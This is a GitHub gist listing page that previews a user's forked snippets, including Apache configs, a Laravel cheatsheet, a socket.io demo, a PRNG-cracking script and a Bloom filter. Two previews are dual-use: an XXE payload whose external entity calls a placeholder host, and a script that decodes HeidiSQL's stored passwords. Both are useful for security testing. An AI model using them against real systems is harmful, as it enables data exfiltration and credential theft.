Skip to content

Instantly share code, notes, and snippets.

@4nh51rk
4nh51rk / apache-thingsboard.conf
Created December 24, 2021 06:50 — forked from vbalexr/apache-thingsboard.conf
Apache proxy ssl thingsboard
<VirtualHost *:443>
ServerAdmin "EMAIL ADMIN"
DocumentRoot /var/www/html
ServerName "SERVERNAME"
ProxyRequests off
ProxyPreserveHost On
#Redireccion de wss a ws
RewriteEngine on
RewriteCond %{HTTP:Upgrade} websocket [NC]
@4nh51rk
4nh51rk / HeidiDecode.js
Created November 8, 2021 05:32 — forked from jpatters/HeidiDecode.js
Decodes a password from HeidiSQL. HeidiSQL passwords can be found in the registry. Use File -> Export Settings to dump all settings. Great for if you forget a password.
function heidiDecode(hex) {
var str = '';
var shift = parseInt(hex.substr(-1));
hex = hex.substr(0, hex.length - 1);
for (var i = 0; i < hex.length; i += 2)
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16) - shift);
return str;
}
document.write(heidiDecode('755A5A585C3D8141786B3C385E3A393'));
@4nh51rk
4nh51rk / cayennelpp.js
Created March 19, 2021 18:09 — forked from iPAS/cayennelpp.js
Cayenne Low-power Payload Decoder (javascript / node.js)
/**
* Cayenne Low-power Payload Library
*
* @author Pasakorn Tiwatthanont
* @email ptiwatthanont@gmail.com
*
* @link https://htmlcheatsheet.com/js/
*/
// console.log('Node.js version: ' + process.version)
format = require('string-format')

Download Audio from YouTube

-i - ignore errors

-c - continue

-t - use video title as file name

--extract-audio - extract audio track

@4nh51rk
4nh51rk / eloquent-cheatsheet.php
Created April 10, 2018 01:36 — forked from hassansin/eloquent-cheatsheet.php
Laravel 5 Eloquent CheatSheet #laravel #eloquent
Model::
/*Select*/
select('col1','col2')
->select(array('col1','col2'))
->select(DB::raw('businesses.*, COUNT(reviews.id) as no_of_ratings, IFNULL(sum(reviews.score),0) as rating'))
->addSelect('col3','col4')
->distinct() // distinct select
/*From*/
@4nh51rk
4nh51rk / apache_cors_example
Created November 21, 2017 05:31 — forked from brianlmoon/apache_cors_example
CORS example for Apache with multiple domains
# Sets CORS headers for request from example1.com and example2.com pages
# for both SSL and non-SSL
SetEnvIf Origin "^https?://[^/]*(example1|example2)\.com$" ORIGIN=$0
Header set Access-Control-Allow-Origin %{ORIGIN}e env=ORIGIN
Header set Access-Control-Allow-Credentials "true" env=ORIGIN
# Always set Vary: Origin when it's possible you may send CORS headers
Header merge Vary Origin
@4nh51rk
4nh51rk / app.js
Created October 14, 2017 14:30 — forked from anandgeorge/app.js
Socket.io example with jquery and dom manipulation
var io = require('socket.io').listen(8000),
nicknames = {};
io.sockets.on('connection', function (socket) {
socket.on('user message', function (msg) {
socket.broadcast.emit('user message', socket.nickname, msg);
});
socket.on('nickname', function (nick, fn) {
if (nicknames[nick]) {
@4nh51rk
4nh51rk / xoroshiro128.py
Created August 23, 2017 06:39 — forked from karanlyons/solver.py
Why PRNGs are not the same as CSPRNGs
def bin2chr(data):
result = ''
while data:
char = data & 0xff
result += chr(char)
data >>= 8
return result
@4nh51rk
4nh51rk / XXE_payloads
Created August 10, 2017 17:07 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@4nh51rk
4nh51rk / bloom.py
Created August 5, 2017 18:20 — forked from marcan/bloom.py
Simple Bloom filter implementation in Python 3 (for use with the HIBP password list)
#!/usr/bin/python3
#
# Simple Bloom filter implementation in Python 3
# Copyright 2017 Hector Martin "marcan" <marcan@marcan.st>
# Licensed under the terms of the MIT license
#
# Written to be used with the Have I been pwned? password list:
# https://haveibeenpwned.com/passwords
#
# Download the pre-computed filter here (629MB, k=11, false positive p=0.0005):